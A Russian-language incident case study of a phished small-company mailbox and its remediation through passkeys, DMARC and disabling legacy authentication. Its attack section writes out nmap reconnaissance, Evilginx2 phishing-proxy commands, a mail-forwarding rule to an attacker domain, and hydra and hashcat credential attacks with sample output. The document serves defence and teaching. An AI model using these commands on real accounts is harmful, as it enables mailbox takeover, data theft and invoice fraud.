Клиент — небольшая сервисная компания, 20 сотрудников, стандартный стек: почта в облаке, CRM, бухгалтерия на удалённом доступе. На бумаге всё выглядело прилично: пароли сложные, политика их смены раз в 90 дней, антивирус на всех машинах. Проблема была не в «отсутствии защиты», а в том, что вся защита держалась на одном хрупком элементе — пароле в голове сотрудника.
Два симптома привели нас в компанию. Первый — тихий и дорогой: HR-менеджер и бухгалтер вдвоём тратили 5-6 часов в месяц на сброс паролей, разблокировку учёток после неудачных попыток входа и объяснения по телефону «а где эта галочка». Второй — громкий: один сотрудник ввёл пароль от корпоративной почты на фишинговой странице, имитирующей форму входа Outlook Web Access. В течение часа злоумышленник зашёл в почтовый ящик, настроил правило автоматической переадресации входящих писем на внешний адрес и попытался развить BEC-атаку (подмену реквизитов в переписке с контрагентом). Атаку заметили случайно — бухгалтер удивилась, почему письмо с актом сверки от партнёра пришло с чуть другого адреса.
Как это эксплуатируется
Механика классическая, и именно её массовость делает пароль главной точкой входа в 2024-2026 годах. Разбираем по шагам, как это обычно выглядит с инструментальной стороны — независимо от конкретной жертвы.
Шаг 1. Разведка почтового контура
nmap -p 25,80,443,587,993,995 -sV mail.target-company.ru
PORT STATE SERVICE VERSION
443/tcp open https nginx (reverse proxy to Exchange/OWA)
587/tcp open smtp Microsoft ESMTP MAIL Service
993/tcp open imaps Dovecot imapd
Атакующему достаточно узнать, какой почтовый провайдер используется (Exchange Online, Google Workspace, самописный IMAP), чтобы подобрать шаблон фишинговой страницы. Заголовки ответов часто сдают провайдера напрямую:
curl -sI https://mail.target-company.ru/owa/
HTTP/1.1 302 Found
Location: /owa/auth/logon.aspx
X-OWA-Version: 15.2.1258.28
Шаг 2. Фишинговая страница и AiTM
Для обхода даже классических OTP-кодов давно используются AiTM-фреймворки (adversary-in-the-middle), например Evilginx2: он поднимает прозрачный прокси, который в реальном времени пересылает запросы к настоящему серверу авторизации, а у себя ворует и логин/пароль, и сессионный cookie после второго фактора.
: evilginx2 > phishlets hostname o365 mail.target-company-login.com
: evilginx2 > lures create o365
: evilginx2 > lures get-url 0
[+] https://mail.target-company-login.com/x7g2k
Сотрудник вводит логин, пароль и код из приложения-аутентификатора на фишинговом домене, который визуально идентичен настоящему. Evilginx перехватывает валидную сессионную cookie — MFA-приложение при этом «сработало правильно», но защитило вход не туда.
Шаг 3. Закрепление в почте
Дальше — типовые действия внутри ящика, которые редко замечают вовремя:
# через IMAP с украденными кредами
curl --url 'imaps://mail.target-company.ru' --user 'user@target.ru:StolenP@ss1' \
-X 'CREATE "Inbox/._archive_hidden"'
# создание правила переадресации через EWS/PowerShell
New-InboxRule -Mailbox "user@target.ru" -Name "sync" \
-ForwardTo "collector@attacker-domain.com" -StopProcessingRules $true
Правило переадресации маскируется под системное («sync», «backup») и не выводится в обычном интерфейсе Outlook — только в расширенных настройках или логах аудита Exchange (Search-MailboxAuditLog, Get-InboxRule).
Шаг 4. Проверка на массовость: credential stuffing
Если пароль сотрудника где-то «утёк» ещё раньше (например, в базе стороннего сервиса), его проверяют по всем корпоративным точкам входа автоматически:
hydra -l user@target.ru -P leaked_passwords.txt imaps://mail.target-company.ru
[993][imap] host: mail.target-company.ru login: user@target.ru password: Summer2023!
А если утекли хеши (например, из старой NTLM-базы после локального инцидента), их добивают offline:
hashcat -m 1000 ntlm_hashes.txt rockyou.txt --force
Hash:Password
a94a8fe5ccb19ba61c4c0873d391e987:Company2024!
Что и почему сработало бы дальше
Доступ к рабочей почте — это не конечная цель, а плацдарм. Дальше типичная цепочка развития выглядит так:
- BEC (Business Email Compromise). Из истории переписки берётся реальный контрагент и реальная сумма, письмо с изменёнными реквизитами отправляется бухгалтеру именно тогда, когда ждут оплату — конверсия такой атаки исторически кратно выше холодного фишинга.
- Сброс паролей в смежных сервисах. Почта — это «мастер-ключ» восстановления доступа: через неё сбрасываются пароли в CRM, банк-клиенте, облачном хранилище, домене регистратора.
- Горизонтальное перемещение. Если в компании есть RDP или VPN с той же учётной записью и MFA-фатигом (когда сотрудники привыкли нажимать «подтвердить» на push-уведомлении не глядя), захват учётки почты часто сопровождается попыткой зайти и туда же —
nmap -p 3389,1194,443по внутренним адресам после получения VPN-конфига из вложений в почте. - Цена в рублях. Для компании из 20 человек речь обычно идёт не о разовом платеже мошенникам (хотя и это бывает — суммы от 150 000 до нескольких миллионов рублей за один поддельный счёт), а о совокупности: простой бухгалтерии и HR на 1-2 рабочих дня, репутационный ущерб перед контрагентом, которому ушло письмо с чужими реквизитами, и часы ИТ-специалиста на расследование и чистку правил в почте.
Полутехнические пруфы, на которые стоит смотреть
- В логах Exchange/EWS — правила
InboxRuleс ForwardTo на внешний домен, созданные не через штатный интерфейс пользователя. - Аномальный
Impossible travelв Azure AD Sign-in logs: вход из региона сотрудника и через 5 минут — из другой страны с того же аккаунта. - Отсутствие или мягкая настройка
DMARC/DKIM/SPFна домене компании — без них подделать письмо «от имени» коллеги для второй фазы атаки заметно проще:dig target-company.ru TXT | grep -i dmarcчасто выдаёт пустоту или политикуp=none. - Включённый Legacy Authentication (POP/IMAP/SMTP AUTH basic) в Microsoft 365 — именно он обходит условный доступ и современный MFA, оставляя лазейку для brute-force и password spray.
Как закрыли: переход на passkeys
Passkeys (стандарт FIDO2/WebAuthn) убирают саму сущность, которую воруют — пароль. Приватный ключ никогда не покидает устройство или аппаратный токен, сервер получает только криптографическую подпись на конкретный домен. Это делает классический фишинг и AiTM-прокси (тот же Evilginx) бессмысленными: даже если сотрудник попадёт на поддельную страницу, браузер физически не отдаст ей подпись, потому что домен не совпадает с тем, для которого ключ был создан.
Шаги пилота
- Инвентаризация систем с поддержкой WebAuthn. Проверяется почта (Microsoft 365/Google Workspace поддерживают native passkeys), CRM, VPN-клиент, панель хостинга. Быстрый чек-лист по каждому сервису:
curl -s https://accounts.google.com/.well-known/webauthn-configuration # или в документации вендора искать "FIDO2" / "security keys" / "passkeys" - Выбор резервного фактора. На случай утери устройства — второй зарегистрированный ключ (обычно аппаратный, хранится в сейфе или у ИТ-администратора) плюс временный backup-код, который выдаётся один раз и хранится офлайн, а не в почте.
- Поэтапное отключение legacy-входа. Сначала для новых сотрудников и «пилотной» группы, затем для всех — с обязательным закрытием старых протоколов:
# Microsoft 365 / Exchange Online, отключение Basic Auth Set-AuthenticationPolicy -Identity "Block Basic Auth" ` -AllowBasicAuthImap $false -AllowBasicAuthPop $false -AllowBasicAuthSmtp $false # Условный доступ Azure AD: требовать phishing-resistant MFA New-MgIdentityConditionalAccessPolicy -DisplayName "Require FIDO2" ` -GrantControls @{ BuiltInControls = @("mfa"); AuthenticationStrength = "phishingResistant" } - Обучение за один короткий созвон. Не «курс по кибербезопасности», а 15 минут: как зарегистрировать ключ, что делать при потере телефона, почему теперь незачем что-либо запоминать.
- Контрольный аудит. После включения passkeys стоит прогнать симуляцию фишинга через собственную инфраструктуру (например,
gophish) — не чтобы наказать сотрудников, а чтобы убедиться, что даже те, кто кликнул по ссылке, физически не смогли отдать секрет.
Что дополнительно закрыли параллельно
- Настроили строгую политику DMARC (
p=reject) вместо мягкой, чтобы письма с подделанным доменом отправителя блокировались до попадания в ящик получателя. - Включили аудит правил почтовых ящиков с автоматическим алертом на любое новое правило переадресации на внешний домен.
- Убрали Legacy Authentication на почтовом контуре полностью — это закрыло целый класс атак credential stuffing и password spray, которые обходили MFA до этого.
Экономика пилота считалась просто: стоимость лицензий и настройки для 20 человек оказалась меньше одного часа простоя бухгалтерии во время инцидента с почтой, не говоря уже о риске реальной оплаты по поддельному счёту. После пилота тикеты на сброс пароля исчезли как класс — вместе с ними исчезла и главная точка входа, на которой держалась почти половина инцидентов у клиентов такого масштаба.
